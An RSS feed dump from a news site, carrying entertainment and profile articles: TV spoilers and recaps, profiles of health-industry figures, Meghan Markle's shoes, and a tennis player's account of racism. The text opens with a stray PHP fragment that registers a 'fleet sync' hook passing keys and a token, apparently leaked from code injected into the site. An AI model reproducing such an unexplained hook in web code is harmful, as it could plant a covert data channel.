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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); she&#039s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 18 Jan 2019 15:36:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png she&#039s – Brief News https://briefnews.eu 32 32 Blindspot Sneak Peek: Jane Is Back! — But She's Not Out of the Woods Yet https://briefnews.eu/blindspot-sneak-peek-jane-is-back-but-shes-not-out-of-the-woods-yet/ https://briefnews.eu/blindspot-sneak-peek-jane-is-back-but-shes-not-out-of-the-woods-yet/#respond Fri, 18 Jan 2019 15:36:28 +0000 http://briefnews.eu/blindspot-sneak-peek-jane-is-back-but-shes-not-out-of-the-woods-yet/

We’re less than three weeks into the new year, but Jane Doe could already use a vacation.

On the heels of last week’s Blindspot episode, in which Jane took a harrowing (but extremely well-acted!) journey through her own brain to defeat Remi, she should probably be convalescing at home for the foreseeable future. But, as seen in our exclusive sneak peek at tonight’s hour (NBC, 8/7c), Jane is already back at FBI headquarters, and she isn’t sure how to proceed in a post-Remi world.

“It’s like I woke up from this nightmare where I watched myself do terrible things to the people I love,” Jane explains to Weller in the video above. “Except it wasn’t a nightmare. It really happened.”

And if Jane’s mind weren’t clouded enough with Remi’s old memories, she’s further weighed down by lingering headaches from the ZIP poisoning and the immense guilt of what she did when Remi was in control of her body — actions for which she’s already been forgiven by her FBI teammates.

“Zapata just got perp-walked through the FBI in shackles,” Jane reminds her husband. “She used to be as much a part of this team as I am. Why should I get special treatment?”

Press PLAY above to watch our Episode 10 sneak peek in full, then drop a comment below with your thoughts.

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]]> https://briefnews.eu/blindspot-sneak-peek-jane-is-back-but-shes-not-out-of-the-woods-yet/feed/ 0 EastEnders spoilers: Kat Slater ATTACKS Hayley after Alfie Moon fall – she's NOT happy https://briefnews.eu/eastenders-spoilers-kat-slater-attacks-hayley-after-alfie-moon-fall-shes-not-happy/ https://briefnews.eu/eastenders-spoilers-kat-slater-attacks-hayley-after-alfie-moon-fall-shes-not-happy/#respond Wed, 26 Dec 2018 03:25:45 +0000 http://briefnews.eu/eastenders-spoilers-kat-slater-attacks-hayley-after-alfie-moon-fall-shes-not-happy/

In tonight’s dramatic Boxing Day episode, Kat (played by Jessie Wallace) will attack Hayley (Katie Jarvis).

Last night’s festive instalment saw Kat learn her estranged husband Alfie (Shane Richie) was Cherry’s father.

After Stacey (Lacey Turner) caught Alfie and Hayley kissing, their secret was out.

Hayley became overwhelmed as Kat and Alfie argued with one another about the affair.

Unable to deal with the bickering any longer, she snapped and pushed Alfie down the stairs.

Fans have been left worried Alfie has been killed and Kat believes he is dead.

Shocked by Hayley’s actions, she explodes and attacks the new mum.

In scenes set to air tonight, she can be seen putting her hands around Hayley’s neck and it’s clear she wants revenge.

Will Hayley survive their heated altercation?

Speaking ahead of the episode, actress Jessie said: “Obviously Kat is going to find out and she reacts in the way only Kat can react. She goes crazy.

“In the heat of the moment, Kat reacts as you’d expect. She’s so angry and upset, there’s this whole whirlwind of emotions that she’s going through and she just doesn’t care.

“There’s no vision, Kat’s just so angry and betrayed.”

Opening up about being reunited with co-star Shane for the scenes, she added: “I love Shane, we’re like soulmates, he’s like my brother.

“I love him so, so much and when he wasn’t here I missed him like crazy.

“Kat and Alfie have been together for 17 years so yes, it’s been amazing.”

Meanwhile, there is the question of what will happen to baby Cherry.

Hayley has been struggling to bond with the little one whereas Alfie is smitten with his daughter.

If Alfie does survive his fall could the pair be locked in a tense custody battle?

Or, will the Slater clan rally around Hayley and protect her if Alfie is dead?

EastEnders continues on Boxing Day at 8.30pm on BBC One.

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]]> https://briefnews.eu/eastenders-spoilers-kat-slater-attacks-hayley-after-alfie-moon-fall-shes-not-happy/feed/ 0 EastEnders spoilers: New boss Kate Oates responds to rumours she's dropping the Carters https://briefnews.eu/eastenders-spoilers-new-boss-kate-oates-responds-to-rumours-shes-dropping-the-carters/ https://briefnews.eu/eastenders-spoilers-new-boss-kate-oates-responds-to-rumours-shes-dropping-the-carters/#respond Fri, 26 Oct 2018 03:57:28 +0000 http://briefnews.eu/eastenders-spoilers-new-boss-kate-oates-responds-to-rumours-shes-dropping-the-carters/

Kate Oates let slip her massive plans for EastEnders as she takes on the role of producer following her two-year stint on Coronation Street.

The award-winning executive producer intends to tackle societal “issues”, which will predominately be character led.

Teasing the upcoming plot, Kate revealed: “There is something that I’m thinking about that the audience could say is an issues led storyline.

“I think it will be character led and the long-term arc will be character led, but there’s definitely an issue in there to discuss.”

When she worked on Coronation Street, Kate highlighted a number of hard-hitting issues, including suicide and male rape.

Although Kate hopes to create awareness surrounding important issues in EastEnders, she also wants to maximise some of its current talent, including the Carters.

Responding the claims she intends to axe the much loved family, the writer enthused: “I love the Carters.

“I always want to see them tested, but that doesn’t mean not seeing them in the Vic. I like them in the Vic and I think Danny [Dyer] and Kellie [Bright] are a brilliant soap pairing.”

She added to The Sun: “They’ve got an amazing range because as well as the drama they’re capable of such warmth and I think that’s when the audience loves them at their best, when they’re actually showing that full range.

“So no, I don’t have any kind of plans to shake that up. I’m a big fan of the Carters so no plans to get rid of them.”

Hinting she has been bonding with lead actor Danny, Katie mentioned: “Danny’s teaching me to speak cockney.”

Fans of Kate’s will have to wait until February 2019 to see her work on screen, but she did tease the Christmas special.

The British producer promised that Christmas would be “big” in Albert Square, although she remained tight-lipped about the storyline.

But she seems to have something special in store for the Sharon, Phil Mitchell and Keanu Taylor’s love triangle.

Discussing her ideas for the Mitchell clan, she shared: “We’ve got some good Mitchell stuff on the storyboard, the Phil, Keanu, Sharon stuff is all very exciting.

“We’ve got some good stuff for Tiffany [Butcher] with her having taken herself into a dark world. I’m picking up on stories that have already begun here.”

She also aims to focus on Mel Owen (Tamzin Outwaite) and the Slaters in the New Year and described the plots as “exciting”.

Kate announced she was joining EastEnders earlier this year after quitting Coronation Street, which she had worked on for six years.

The 39-year-old previously produced rival show Emmerdale and received a number of accolades for her work.

EastEnders continues tonight on BBC One at 8pm.

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]]> https://briefnews.eu/eastenders-spoilers-new-boss-kate-oates-responds-to-rumours-shes-dropping-the-carters/feed/ 0 She's Driving Genetic Sequencing Fresh From the Womb https://briefnews.eu/shes-driving-genetic-sequencing-fresh-from-the-womb/ https://briefnews.eu/shes-driving-genetic-sequencing-fresh-from-the-womb/#respond Wed, 22 Aug 2018 21:47:23 +0000 http://briefnews.eu/shes-driving-genetic-sequencing-fresh-from-the-womb/ This OZY original series brings to you Medical Breakthroughs – and the people behind them – that could change how doctors treat us, find fixes to today’s diseases and make our lives truly better.

Two exhausted but joyful parents welcome their tiny daughter to the world. The nurse whisks her away to get cleaned up, swaddles her in a warm blanket and sequences her genes. The new parents will soon know their baby’s risk for certain diseases, the foods that will optimize her nutritional needs and the allergies she’s likely to develop — minutes after her birth. In the not-too-distant future, genetic testing is likely to be so simple and cost-effective that many people will have their genome sequenced fresh from the womb, giving future generations more information about their bodies from day one than ever before.

As the vice president of research for personal genomics company 23andMe, Joyce Tung is helming the work that will one day make this a reality. She wants to make it possible for us to better understand our disease risks, to have personalized medical treatments and nutrition recommendations. “We want the ability to use real data and real science to make decisions about what’s best for us,” says Tung, 41.

The company’s “science for everyone” motto has led to rapid growth. Since 23andMe’s launch in 2006, more than 5 million people have used the testing kit. In 2017, 23andMe raised $ 250 million in growth financing and plans to hire 200 more people this year. Many know 23andMe as an at-home DNA testing kit for accessing ancestry information, but the research team is also making rapid advancements in genetic drug therapies. As Tung leads the charge to revolutionize the future of medicine, the company is battling concerns about consumer privacy that have dogged all of Silicon Valley — but carry higher stakes when it comes to the building blocks of our humanity.

The FDA approved 10 new genetic-risk tests from the company, including tests for late-onset Alzheimer’s and Parkinson’s.

23andMe’s Mountain View, California, headquarters is just a 15-minute drive from Tung’s hometown of Saratoga. In fact, she’s lived in the Bay Area her whole life, earning an undergraduate degree in biological sciences at Stanford University and a Ph.D. in genetics at the University of California, San Francisco. On weekends, she and her husband take advantage of the California outdoor life, going on beach trips or bike rides with their 6- and 8-year-old kids.

Born to Chinese immigrant parents, Tung has always been close with her family. Her father encouraged her aptitude for science from a young age, though it came at the expense of another dream: writing. “You know, it’s really hard being a writer,” her father once told her. “Only the top writers go on to be successful.” Tung laughs at the memory, belatedly realizing that was his way of nudging her toward the hard sciences.

She has no regrets about her path. Tung first became interested in gene therapy while taking a biotech summer class in college; she was struck by its potential impact on health. “I’ve always been a nerd,” she admits. After grad school in 2007, she spotted a flyer advertising a job opening at 23andMe. CEO Anne Wojcicki and her co-founders had launched just the previous year. Tung started out as one of 23andMe’s human geneticists and was promoted to vice president of research in 2015. The one big difference since a decade ago: “I’m more comfortable speaking my mind,” Tung says, which is part of what makes her the right person to lead a team of 70 researchers. That and “a higher tolerance for other people’s nonsense,” she says, compared to other scientists at the company.

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The excitement around recent drug therapy developments at the 23andMe offices is palpable. It’s been a bumpy road to get here. In 2013 the federal Food and Drug Administration slapped the company down for failing to provide evidence that its DNA testing product was accurate, removing it from the shelves. It took 15 months to receive FDA clearance, once the company proved 99 percent accuracy and 90 percent user comprehension.

While waiting in limbo, 23andMe expanded efforts into therapeutics research by teaming up with pharmaceutical giant Pfizer in 2015, and today has a partnership with Genentech. Tung’s research team mines data from millions of users in the 23andMe database and transfers it to Genentech’s wet lab, where biological matter can be tested to better understand the biological mechanisms of disease and accelerate drug discovery. In 2017 the FDA approved 10 new genetic-risk tests from the company, including tests for late-onset Alzheimer’s and Parkinson’s.

But outside the office, some are more skeptical. In May investigators reportedly used genealogy database GEDmatch to assist in identifying the Golden State Killer, raising red flags for privacy advocates. They claim that allowing law enforcement to access our genetic data represents government overreach, especially if customers don’t realize what they’re agreeing to. U.S. Rep. Dave Loebsack (D-Iowa) and others in Congress are pushing genetic testing companies to safeguard consumers and address any potential breaches of personal data before they occur. “What I don’t want to see is another Equifax situation where millions of Americans have to deal with close, personal information being stolen,” Loebsack says.

Tung points out the company has never given customer information to law enforcement officials, employers or insurance companies. She says new technology always comes with concerns. For example, years ago “people thought at-home pregnancy tests were horrible.”

Will genetic testing one day be as commonplace as a pregnancy test? Carrie Northover, director of research services for 23andMe, who’s worked closely with Tung for five years, says Tung’s integrity will get her team to that lofty goal. “Joyce believes that behind every data point is a human being,” says Northover.

While a typical day for Tung is more often filled with meetings than lab work these days, she’s incredibly excited about her team’s therapeutics research, confident it will lead to the development of drug remedies for a multitude of diseases and conditions. “This is the best group of scientists I’ve ever worked with,” Tung says. In order to meet their aspirations to revolutionize health care, they’d better be.

Correction: The original version of this story misstated the amount of time it took 23andMe to get FDA clearance.

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]]> https://briefnews.eu/shes-driving-genetic-sequencing-fresh-from-the-womb/feed/ 0 Why Meghan Markle wears shoes that are too big for her – and she's not the first to do so https://briefnews.eu/why-meghan-markle-wears-shoes-that-are-too-big-for-her-and-shes-not-the-first-to-do-so/ https://briefnews.eu/why-meghan-markle-wears-shoes-that-are-too-big-for-her-and-shes-not-the-first-to-do-so/#respond Fri, 22 Jun 2018 22:18:09 +0000 http://briefnews.eu/why-meghan-markle-wears-shoes-that-are-too-big-for-her-and-shes-not-the-first-to-do-so/

Meghan Markle, 36, rarely puts a food wrong in the sartorial stakes.

After marrying Prince Harry in May, the eyes of the world have been firmly on her, watching her every style move.

Appearing at Royal Ascot this week with her new husband Harry, the Duchess of Sussex stunned in a gorgeous flowing Givenchy midi-dress.

She finished the look off with a pair of black Balenciaga heeled pumps.

However on close inspection, the pumps were actually too big for Meghan, noticeably swamping her feet.

Her bizarre fashion move certainly didn’t go unnoticed, with fashion expert Harriet Davey revealing to The Sun the reason behind Meghan’s oversized heels.

She said: ”Celebs often go a size up, or even two, in the shoe department when they’re at an event or on the red carpet and it’s for one reason we can all relate to – to avoid blisters.

“There’s nothing worse than uncomfortable shoes (we’ve all been there on a night out) and when celebs like Meghan are wearing heels for a long period of time their feet can often swell up.”

Harriet continued: “The swelling can cause blisters and in the long run bunions — like long-time heel fan Victoria Beckham has been rumored to suffer with.”

With Meghan not doing too much fast-paced walking during royal engagements, it’s a fashion hack that can be easily pulled off.

Harriet also revealed to The Sun the “trick of the trade” is to stuff the toe of the shoe with padding, like tissue or cotton wool.

The stuffing can then be taken out when the wearer feels they need a bit more room in their shoes.

It’s an unusual move that has been made by Meghan before, noticeably on the day her and Prince Harry’s engagement was announced.

She wore a pair of strappy, pointed-toe stilettos, with a big gap between her feet and the backing of the shoe.

Meghan used the fashion hack again on her visit to Northern Ireland in March, with a noticeable gap visible between the back of her feet and her £595 burnt orange Jimmy Choo heels.

Other celebrities known to have worn heels too big for them include Kristen Bell, Elizabeth Banks, Jennifer Lopez and Ariel Winter.

Large shoe sizes are said to not pinch or rub as much as fitted high heels, leading to less painful feet.

Despite her oversized shoes, Meghan ticked all the style boxes at the first day of Royal Ascot.

With such a strict dress code to adhere to – including not being able to wear her favourite neckline – Meghan wore the white £3,190 Givenchy dress and black and white Philip Traecy hat. 

The 36-year-old set the bar high when it came to fashion at the Berkshire race course, with many other royals, revellers and celebrities alike all dressing to to the nines. 

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]]> https://briefnews.eu/why-meghan-markle-wears-shoes-that-are-too-big-for-her-and-shes-not-the-first-to-do-so/feed/ 0 She's Transforming Cancer Care in the Asia-Pacific Region https://briefnews.eu/shes-transforming-cancer-care-in-the-asia-pacific-region/ https://briefnews.eu/shes-transforming-cancer-care-in-the-asia-pacific-region/#respond Tue, 29 May 2018 16:13:23 +0000 http://briefnews.eu/shes-transforming-cancer-care-in-the-asia-pacific-region/

When Cathie Reid purchased her first pharmacy in 1998, her goal wasn’t to change cancer care in Asia. She simply wanted to improve health care delivery in her native Australia — a natural objective for someone who started working in a pharmacy when she was 16. And, knowing that cancer treatment was the largest component of care in hospitals and nursing homes, she quickly realized that pharmacists had a vital role to play in cancer care.

Over time, that lone pharmacy grew into the $ 1 billion Icon Group, which is expanding access to world-class cancer treatment. Instead of patients traveling to a large hospital, Icon offers a network of local cancer care centers: 28 in Australia, one in New Zealand, six in Singapore and additional sites under construction in Southeast Asia and China.

[Reid] calls things the way she sees them, and that might not endear her to everyone.

Emma Isaacs, founder of Business Chicks

“We built a significant business, but Australia still has only 24 million people,” Reid says. “The real opportunity is to take that cancer care model and use it throughout Asia to deal with the increasing cancer crisis that is looming there.” Reid points out that Icon Group provides cancer care services to 1 in every 5 Australians being treated privately, with just over 300 chairs across its network of clinics. By comparison, Icon’s first proposed partnership in China calls for 400 chairs in one hospital location.

Like many Australian businesses, Icon started to look toward China after the 2008 global financial crisis. Australia survived relatively unscathed by selling iron ore and other resources to Asia, Reid explains, and eventually it switched to selling services to the emerging middle class. Reid, 48, says that attracting a $ 1 billion valuation was not in the game plan 20 years ago, when she and her husband, Stuart Giles, founded the business. The key to their success was standing for a vision rather than a lucrative enterprise.

Reid grew up in Victoria, Australia. Her father worked at a coal-fired power station but quit to become a full-time cattle farmer, only to learn he’d contracted mesothelioma from asbestos exposure. He died at age 56. Reid’s mother worked as a teacher until the first of her three children were born.

Although Reid and Giles, both pharmacists, attended Monash University in Melbourne, their relationship didn’t spark until they ran into each other at a birthday party seven years after graduation. Three months later, they were engaged. Giles bought into Reid’s vision for improving pharmacy services, and they bought their first location in 1998. Within three months they’d purchased three more, becoming Australia’s first multistate pharmacy group, Epic Pharmacy.

However, their business nearly cratered when the global financial crisis hit 10 years later. They’d grown from acquiring pharmacies to building manufacturing plants for packing pills — not a cheap venture, Reid says. And then their largest client announced it was not renewing its contract. “Fortunately the banks had bigger problems than us,” she recalls, “but it wasn’t long before we were on their radar because we were $ 35 million in debt.”

But Reid had a plan: full transparency. Yes, they were losing money, but at least the bank would see they were executing a strategy. Emma Isaacs, founder of Business Chicks, Australia’s largest community for female entrepreneurs, isn’t surprised by Reid’s bold step: “She’s pragmatic in her approach to business and life. She doesn’t try to sugarcoat anything.” For this reason, Isaacs says, Reid “isn’t everyone’s flavor. She calls things the way she sees them, and that might not endear her to everyone.”

For her part, Reid credits her brother, Andrew — then the company’s chief financial officer — for the financial modeling and cash flow analyses that helped them transition out of debt. As they got back on solid footing, Reid and Giles decided to merge the four areas of cancer care: oncology, radiation oncology, chemotherapy compounding and pharmacy management. Knowing they couldn’t fund expensive radiation oncology equipment, they sold part of their company in 2014 to Quadrant Private Equity, a move that allowed them to expand and offer integrated cancer care.

Reid was able to reinvent her business because of her ability to identify trends and new opportunities, says Emma Croston, Reid’s co-founder at Epic Digital, a company that collects clinical data to do predictive analyses about patient care. “She can see where the next steps are going along the whole journey,” Croston says.

Indeed, Reid is focused on data as the next big thing. “There is so much data generated through health care, especially now that so much is digital,” she says. If you think of data as dots on a page, “the more connections you can make, the clearer the picture that emerges,” resulting in better treatment for patients.

In spite of its success, Reid believes the Icon Group model wouldn’t work in a place like the U.S. “The insurance companies are also the service providers in a lot of cases and own the hospitals and pharmacies, and the doctors work for them,” she says. By comparison, Australia offers publicly funded health care to all residents, with care provided by private medical practitioners or by private- or government-operated hospitals.

Even after selling part of their business, Reid and Giles, the parents of two teenagers, remain actively involved. In her role as digital adviser for the Icon Group, Reid studies how industries outside of health care use technology to improve efficiency. It’s a perfect fit for the self-proclaimed geek, who participated in the Google Glass test program in 2013 and is now training for Richard Branson’s Virgin Galactic space program. Reid met Branson four years ago and promptly told her husband she wanted to go into orbit. “Stuart remembered and bought me a ticket for Christmas,” she says.

As Isaacs sees it, Branson and Reid are very similar: “Both are slightly left of center, see things a bit differently and are looking for opportunities.” This pharmacist turned mogul is still waiting for a liftoff date — the next step in her epic journey.

5 Questions for Cathie Reid

What’s your favorite book? Lean In, by Sheryl Sandberg.

What do you worry about? Sitting here in New York, where it is snowing in April, while at home in Australia parts of our home state of Queensland are under threat yet again from extreme weather events: the impact of climate change, and whether the damage we have already done to our planet is irreversible.

What’s the one thing you can’t live without? I can’t imagine life without Stuart, my husband and business partner, but on a more frivolous note, Glamglow ThirstyMud is my absolute must-have to stop my skin looking like a lizard’s with all the long-haul flying I do!

Who’s your hero? I really admire Sir Richard Branson. Not only has he been able to successfully disrupt and build businesses across so many different industries, but he’s used the profile and opportunity this has created to drive impact on so many social fronts and initiatives.

What’s one item on your bucket list? Going to space!

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]]> https://briefnews.eu/shes-transforming-cancer-care-in-the-asia-pacific-region/feed/ 0 'It's a problem of race': Tennis player Françoise Abanda says she's a victim of discrimination https://briefnews.eu/its-a-problem-of-race-tennis-player-francoise-abanda-says-shes-a-victim-of-discrimination/ https://briefnews.eu/its-a-problem-of-race-tennis-player-francoise-abanda-says-shes-a-victim-of-discrimination/#respond Wed, 16 May 2018 22:25:09 +0000 http://briefnews.eu/its-a-problem-of-race-tennis-player-francoise-abanda-says-shes-a-victim-of-discrimination/

The highest ranking female Canadian tennis player, Françoise Abanda, says she'll never receive the same recognition as fellow Montrealer Eugenie Bouchard because of her skin colour.

Abanda's call-out came on social media Wednesday in response to a tweet questioning why she wasn't receiving the same treatment as Bouchard when she hit the top of the Canadian rankings.

“I will never get the same treatment because I am black. It’s the truth!” Abanda’s tweet read.

The Montrealer says she has experienced racism throughout her tennis career and chose to speak out now because she felt her injury — she's currently suffering from a concussion — was ignored and hushed up when she was forced to forfeit her match at the recent Fed Cup.

Abanda is currently ranked 128th in the world. Bouchard, who peaked at 5th internationally in 2014, is currently ranked 169th.

"When you're black, I feel like you don't get the same exposure that you should get for a player ranked 120th," she said in a conference call Wednesday.

"I'm not asking to be exposed as a number one player. I'm not asking to get the same recognition as other players that have achieved more. I'm just saying there's a minimum that I don't even get."

Montreal-born Abanda called racial slur

Abanda said she has a great admiration for Bouchard, and the issue is not with her fellow player but with the treatment she's received as a woman of colour in the world of competitive tennis.

"It's a problem of race, a problem of inferiority and superiority that I'm disappointed that exists in my career," she said.

"I love Montreal but sadly, as I said, because my skin is black I get called African and — I hate to say the word, but — n–ger."

Abanda says she has experienced racism in the sport since she was a child. She recalled a time when she was playing in a provincial under-12 tournament when someone shouted at her to "go back to her own country."

The 21-year-old, whose family is originally from Cameroon, was born in Montreal.

Just 'telling my truth'

Recently, she said, she was slighted by Tennis Canada in a promotional video that included all of the players except for her.

"Do I need to win two Grand Slams to be included in that video? No. It's not normal," she said.

Tennis Canada said Abanda was not in the video because of a technical problem with the portion she filmed that couldn't be reshot because of her schedule.

They did not comment further on the issue.

Abanda said she was speaking out because she's brushed it off for too long, and she does not want future athletes to encounter the same treatment.

"I gave you a few examples, but there are hundreds and hundreds in my head," she said. "I'm speaking today to inspire change of a mentality and to change a problem that's very deep and will take a lot of time."

"I'm just speaking about my personal experience and telling my truth."

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]]> https://briefnews.eu/its-a-problem-of-race-tennis-player-francoise-abanda-says-shes-a-victim-of-discrimination/feed/ 0 Quantico Season 3 Premiere Recap: Just When Alex Thinks She's Out, They Pull Her Back In! https://briefnews.eu/quantico-season-3-premiere-recap-just-when-alex-thinks-shes-out-they-pull-her-back-in/ https://briefnews.eu/quantico-season-3-premiere-recap-just-when-alex-thinks-shes-out-they-pull-her-back-in/#respond Fri, 27 Apr 2018 08:28:29 +0000 http://briefnews.eu/quantico-season-3-premiere-recap-just-when-alex-thinks-shes-out-they-pull-her-back-in/ Need to catch up? Check out the previous Quantico post mortem here.

Ciao, bella!

Quantico‘s Alex Parrish probably thought she’d be hearing a lot more Italian, and a lot less gunfire, in her post-Season-2-finale life. But let’s be honest: All the cappuccinos in the world couldn’t keep her in the civilian life for long, not when Ryan comes calling with those earnest, spy-puppy-dog eyes. Plus: This show isn’t going to reboot itself, right?

Read on for the highlights of “The Conscience Code.”

Quantico Premiere Recap Season 3 Episode 1 The Conscience CodeGRAPE HARVESTING, GOOP-STYLE| As the premiere opens, Alex is living in Italy, working as a grape harvester (and wearing some really unlikely outfits while doing so — see photo at right). It’s three years after the events of the Season 2 finale, and she’s ordered up an experience I like to call The Full Study Abroad Package: shopping in sun-drenched outdoor markets, conversing with the charming locals and shacking up with a local hottie and his very cute daughter.

Alex’s new man and his kid think her name is Parvati and that she was a lawyer in New York. I’m a little concerned that they don’t wonder why she’s wearing espadrilles to her farm labor job, but it doesn’t really matter, because Local Hottie and Cute Daughter are not long for Alex/Parvati’s world: After thugs come to the house looking for her one night, Alex sends her Italian family away for their own safety. “I need to find who sent those men,” she tells him.

HELLO, LOVER| Alex’s next stop is Zurich, where she opens a safe-deposit box containing money and passports for her and Ryan. And guess what? Agent Booth just happens to be following her. They are definitely no longer together, which becomes abundantly clear as they have a tense conversation at a Laundromat: The same people looking for Alex kidnapped Shelby a few days before, and they’re planning to kill the blonde “if you and I don’t give them what they need,” he warns. “The Conscience Code?” she asks, and he confirms. Apparently the code — which can “bypass any computer-controlled missile, bomb, drone, whatever” and which Alex had as collateral in case she was ever deemed a traitor again (yeah, I don’t totally get it, either) — was in their shared storage box, but it’s gone; Alex says she burned it but memorized it. Then she notes that Ryan isn’t wearing a wedding ring, but she can tell from his hand that he normally does. “Alex,” he says, “Shelby’s my wife.”

Ryan then helpfully fills in some of the details we don’t have. Alex ghosted on him in Thailand; she counters that she “needed a clean slate.” Still, he maintains that “I married the woman that I love,” and that he has no regrets. Alex refuses to give him the code but agrees to accompany him to figure out a way to save Shelby.

Quantico Premiere Recap Season 3 Episode 1 The Conscience CodeMEET JOCELYN| Agent Wyatt, by the way, is being held in a tailor’s workshop somewhere in Brooklyn. The Big Bad for this episode is a matronly female known as The Widow, and she needles Shelby that while Ryan may not have told her about the code, he certainly shared it with Alex. The Widow is planning to auction the code to the highest bidder. Oh, and computer whiz Will is on The Widow’s payroll.

Once they’re back in New York, Alex and Ryan meet with Owen, the only person Alex feels she can trust. Owen, in turn, goes to Quantico to recruit a deaf FBI agent/teacher named Jocelyn Turner (played by new cast member Marlee Matlin) for an op. She’s not interested until he informs her that they’re trying to take down The Widow. As it turns out, Jocelyn was inside The Widow’s operation for 19 months before a bomb’s detonation deafened her. And though Ryan is less than pleased that he has to work with someone who’s so severely hearing impaired, he, Owen and Alex all are fluent in ASL — in this universe, the FBI requires an immersion course — so… meet the (unofficial) new team!

Quantico Premiere Recap Season 3 Episode 1 The Conscience CodeLIFE IN THE PRIVATE SECTOR| Elsewhere, Harry is working a private security gig for some obnoxious and obnoxiously rich brothers. Ryan wants his former co-worker to get one of his rich employers to bid on the code and win. Harry, predictably, says bugger off. But when one of the coked-up brothers hits a prostitute, Harry changes his mind, and winds up pitting brother against brother to get the younger one to take part in the auction. The plan ultimately doesn’t work, and the brother is livid, but Harry kills him, so that’s something.